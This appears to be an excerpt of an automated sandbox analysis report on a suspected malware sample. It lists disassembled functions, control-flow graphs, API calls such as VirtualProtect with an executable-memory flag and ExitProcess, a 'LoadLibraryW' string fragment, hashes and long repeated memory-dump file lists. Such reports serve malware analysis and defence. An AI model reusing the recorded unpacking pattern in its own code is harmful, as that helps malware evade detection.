                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ProtectVirtual
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 544645111-0
                                                                                                                            • Opcode ID: 9f0f1844b2792f6289a68aa481918173698037378d1d849b0242b6f58344341e
                                                                                                                            • Instruction ID: d68808ad5a64134e19428d3702e83c9544b217b0ac88ae37362fcad393806145
                                                                                                                            • Opcode Fuzzy Hash: 9f0f1844b2792f6289a68aa481918173698037378d1d849b0242b6f58344341e
                                                                                                                            • Instruction Fuzzy Hash: FD610AF1D041249BE720CB18EC84EEB7B78EB45311F1081BADD4D57241D238AEC5CE96
                                                                                                                            Function 004830CF Relevance: 1.5, APIs: 1, Instructions: 29COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • GetVersionExA.KERNEL32(?,004D5458,00000060), ref: 004830EF
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Version
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 1889659487-0
                                                                                                                            • Opcode ID: b4beac88c408034cd6b1b197a26923240ce7189b176719802b30a22765eb812b
                                                                                                                            • Instruction ID: bbbccd461c33d45f8b3cf5feac9dc0283bdde673479183e1fdc022dde5b57861
                                                                                                                            • Opcode Fuzzy Hash: b4beac88c408034cd6b1b197a26923240ce7189b176719802b30a22765eb812b
                                                                                                                            • Instruction Fuzzy Hash: 0FF03071D007618BC324EF19DC86916BBE2AF99711B15843EE4599B722D738A841CF9C
                                                                                                                            Function 00458A5D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 164COMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 51 458a5d-458a90 53 458ad3-458bca call 458aef call 458b21 51->53 54 458a92-45957c ExitProcess 51->54 66 458bcc-458c05 call 458be0 53->66 67 458c0a-458c55 53->67 81 458f96-459004 call 458fa9 call 458ff0 66->81 69 458c95-458c9b 67->69 70 458c57-458c90 call 458c70 67->70 71 458ca1-458d28 69->71 70->81 80 458d2c-458e1c call 458e12 71->80 97 458e33-458e3d 80->97 98 458e1e-458e2e 80->98 97->80 99 458e43-458e50 97->99 100 458eb6-458ebd 98->100 99->80 101 458e56-458eb0 call 458e7e 99->101 102 458eff-458f4b 100->102 103 458ebf-458efa 100->103 101->100 109 458f5d-458f8f 102->109 110 458f4d-458f57 102->110 103->81 109->81 110->71 110->109
                                                                                                                            APIs
                                                                                                                            • ExitProcess.KERNEL32(00000000,?,?,?,?,?,?,00458FE5,00000000,?,0043A418,?,?,00458E08,?,00000000), ref: 0045957C
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ExitProcess
                                                                                                                            • String ID: 88KD$<7FJ
                                                                                                                            • API String ID: 621844428-1757358736
                                                                                                                            • Opcode ID: 7cfadf25fe344548fad222db02554845c6424e7a46d18c0285ae2b9e79919499
                                                                                                                            • Instruction ID: a6bfe100b278e76014209b67bfc34ea6b665bc747e264d3db9e8ff7f7f798c71
                                                                                                                            • Opcode Fuzzy Hash: 7cfadf25fe344548fad222db02554845c6424e7a46d18c0285ae2b9e79919499
                                                                                                                            • Instruction Fuzzy Hash: 005159F3D082846FF7108660EC45AEB7B7CEB81315F1541BFE80996142DA3DAACA8657
                                                                                                                            Function 004569EA Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 220memoryCOMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 112 4569ea-456a4c 113 456a57-456a65 112->113 114 456af3-456b3e 113->114 115 456a6b-456a78 113->115 117 456b40-456b4a 114->117 118 456b4f-456ba0 114->118 115->114 116 456a7a-456ac5 115->116 119 456ae5 116->119 120 456ac7-456ae3 116->120 121 456bea-456bf1 117->121 132 456ba2-456bac 118->132 133 456bae-456be0 118->133 119->113 120->119 125 456aec 120->125 123 456c33 121->123 124 456bf3-456c31 121->124 128 456c44-456c4b 123->128 124->128 125->114 130 456c51-456caa 128->130 131 456ced-456d84 call 456d01 call 456d75 128->131 130->131 138 456cac-456ce8 130->138 144 457794-4577b9 VirtualProtect 131->144 132->121 133->121 138->144 145 4577f2-457875 call 457877 144->145 146 4577bb-4577d7 call 4577d8 144->146
                                                                                                                            APIs
                                                                                                                            • VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 004577B1
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ProtectVirtual
                                                                                                                            • String ID: oadLibraryW
                                                                                                                            • API String ID: 544645111-3996026158
                                                                                                                            • Opcode ID: efa2b446b14de37d8222c616f725aead95cf42768c331babab20c8b6ec050587
                                                                                                                            • Instruction ID: f3b6ca47a96817e63f87d966cef939fda518d97281b0dc705b3a761d16288b68
                                                                                                                            • Opcode Fuzzy Hash: efa2b446b14de37d8222c616f725aead95cf42768c331babab20c8b6ec050587
                                                                                                                            • Instruction Fuzzy Hash: 277115B2D041245BF720CA18EC84BEF7B79EB81315F1580BADD0D63641D63D5EC5CA92
                                                                                                                            Function 00456655 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132memoryCOMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 152 456655-45666f 155 456671-45668f call 456691 152->155 156 4566b2-456710 call 4566f3 152->156 161 456755-45676a 156->161 162 456712-456750 156->162 163 45677d-4567ce 161->163 164 45676c-456778 161->164 165 456c44-456c4b 162->165 166 4567d0-456803 call 4567ed call 4567fe 163->166 167 456813-456857 163->167 164->165 168 456c51-456caa 165->168 169 456ced-456d84 call 456d01 call 456d75 165->169 166->167 178 45689c-456969 167->178 179 456859-456886 call 456887 167->179 168->169 177 456cac-456ce8 168->177 192 457794-4577b9 VirtualProtect 169->192 177->192 199 45696f-4569e9 call 4569d5 call 457de1 call 4569ea 178->199 200 456c38-456c3e 178->200 179->178 196 4577f2-457875 call 457877 192->196 197 4577bb-4577d7 call 4577d8 192->197 199->200 200->165
                                                                                                                            APIs
                                                                                                                            • VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 004577B1
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ProtectVirtual
                                                                                                                            • String ID: oadLibraryW
                                                                                                                            • API String ID: 544645111-3996026158
                                                                                                                            • Opcode ID: 6a4aea578cdb2f48487af7a46499f564fe85fafa03111689dbcd58416a5da303
                                                                                                                            • Instruction ID: c5e84e81d7a96fae4cd503d4d55b5cc2e0b31d7d8e7f5df921581447ad3da60e
                                                                                                                            • Opcode Fuzzy Hash: 6a4aea578cdb2f48487af7a46499f564fe85fafa03111689dbcd58416a5da303
                                                                                                                            • Instruction Fuzzy Hash: C24129F2D041549BF7218A15DC45FDB7778EB90311F0480BAD90D67241D23E5AC78EA6
                                                                                                                            Function 004567FE Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 73memoryCOMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 211 4567fe-456c4b 213 456c51-456caa 211->213 214 456ced-456d84 call 456d01 call 456d75 211->214 213->214 218 456cac-456ce8 213->218 224 457794-4577b9 VirtualProtect 214->224 218->224 225 4577f2-457875 call 457877 224->225 226 4577bb-4577d7 call 4577d8 224->226
                                                                                                                            APIs
                                                                                                                            • VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 004577B1
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ProtectVirtual
                                                                                                                            • String ID: oadLibraryW
                                                                                                                            • API String ID: 544645111-3996026158
                                                                                                                            • Opcode ID: ef1352c3967fc1997bb1104dfcc148c4a622c207be1e12ac8d0332ded9717008
                                                                                                                            • Instruction ID: 2261b0baebf91b6c5935fd565d153c6621a71311a47d4515d3b67376e96b7e10
                                                                                                                            • Opcode Fuzzy Hash: ef1352c3967fc1997bb1104dfcc148c4a622c207be1e12ac8d0332ded9717008
                                                                                                                            • Instruction Fuzzy Hash: E62126F2D0102497F7308A16ED08FDB7B78EB84310F0580BAD90D63641E63D5BCACAA6
                                                                                                                            Function 00456887 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 73memoryCOMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 232 456887-456c4b 234 456c51-456caa 232->234 235 456ced-456d84 call 456d01 call 456d75 232->235 234->235 239 456cac-456ce8 234->239 245 457794-4577b9 VirtualProtect 235->245 239->245 246 4577f2-457875 call 457877 245->246 247 4577bb-4577d7 call 4577d8 245->247
                                                                                                                            APIs
                                                                                                                            • VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 004577B1
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
